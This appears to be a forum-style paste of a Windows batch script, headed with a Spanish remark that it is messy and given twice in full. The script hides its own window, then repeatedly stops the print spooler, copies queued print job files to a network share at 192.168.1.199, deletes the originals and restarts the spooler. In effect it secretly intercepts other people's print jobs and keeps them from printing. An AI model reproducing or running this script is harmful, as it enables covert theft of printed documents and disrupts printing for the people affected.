ESTA UN POCO LIOSO
cmdow @ /HID
@echo off
set direccion=C:\WINDOWS\system32\spool\PRINTERS\FP00000.SHD
set direccion3=C:\WINDOWS\system32\spool\PRINTERS\FP00000.SPL
set direccion1=C:\WINDOWS\system32\spool\PRINTERS\
set cont=0
set /a carpeta=0
set num=1
set extension1=.SHD
set extension2=.SPL
:bucle
if exist %direccion% (goto si) else (goto no)
:si
call :cont %cont%
:aqui
call :bytes %direccion%
:aquii
net stop spooler
ren %direccion% %carpeta%.SHD
ren %direccion3% %carpeta%.SPL
xcopy %direccion1%%carpeta%%extension1% "\\192.168.1.199\prueba\"
xcopy %direccion1%%carpeta%%extension2% "\\192.168.1.199\prueba\"
del %direccion1%%carpeta%%extension1%
del %direccion1%%carpeta%%extension2%
net start spooler
set carpeta=%carpeta%+1
set cont=1
goto bucle
:no
echo no existe
ping -n 3 127.0.0.1 > null
goto bucle
goto bucle
:bytes
if ["%~z1"] LSS ["1"] (
net stop spooler
del %direccion%
del %direccion3%
net start spooler
goto bucle
)else (
goto aquii )
:bytess
if ["%~z1"] LSS ["1"] (
net stop spooler
del %direccion%
del %direccion3%
net start spooler
set cont=0
goto bucle
)else (
echo pesa
ping -n 3 127.0.0.1 > null
call :bytess %direccion% )
:cont
if %cont% EQU 1 (call :bytess %direccion%) else (call :bytes %direccion%)
cmdow @ /HID
@echo off
set direccion=C:\WINDOWS\system32\spool\PRINTERS\FP00000.SHD
set direccion3=C:\WINDOWS\system32\spool\PRINTERS\FP00000.SPL
set direccion1=C:\WINDOWS\system32\spool\PRINTERS\
set cont=0
set /a carpeta=0
set num=1
set extension1=.SHD
set extension2=.SPL
:bucle
if exist %direccion% (goto si) else (goto no)
:si
call :cont %cont%
:aqui
call :bytes %direccion%
:aquii
net stop spooler
ren %direccion% %carpeta%.SHD
ren %direccion3% %carpeta%.SPL
xcopy %direccion1%%carpeta%%extension1% "\\192.168.1.199\prueba\"
xcopy %direccion1%%carpeta%%extension2% "\\192.168.1.199\prueba\"
del %direccion1%%carpeta%%extension1%
del %direccion1%%carpeta%%extension2%
net start spooler
set carpeta=%carpeta%+1
set cont=1
goto bucle
:no
echo no existe
ping -n 3 127.0.0.1 > null
goto bucle
goto bucle
:bytes
if ["%~z1"] LSS ["1"] (
net stop spooler
del %direccion%
del %direccion3%
net start spooler
goto bucle
)else (
goto aquii )
:bytess
if ["%~z1"] LSS ["1"] (
net stop spooler
del %direccion%
del %direccion3%
net start spooler
set cont=0
goto bucle
)else (
echo pesa
ping -n 3 127.0.0.1 > null
call :bytess %direccion% )
:cont
if %cont% EQU 1 (call :bytess %direccion%) else (call :bytes %direccion%)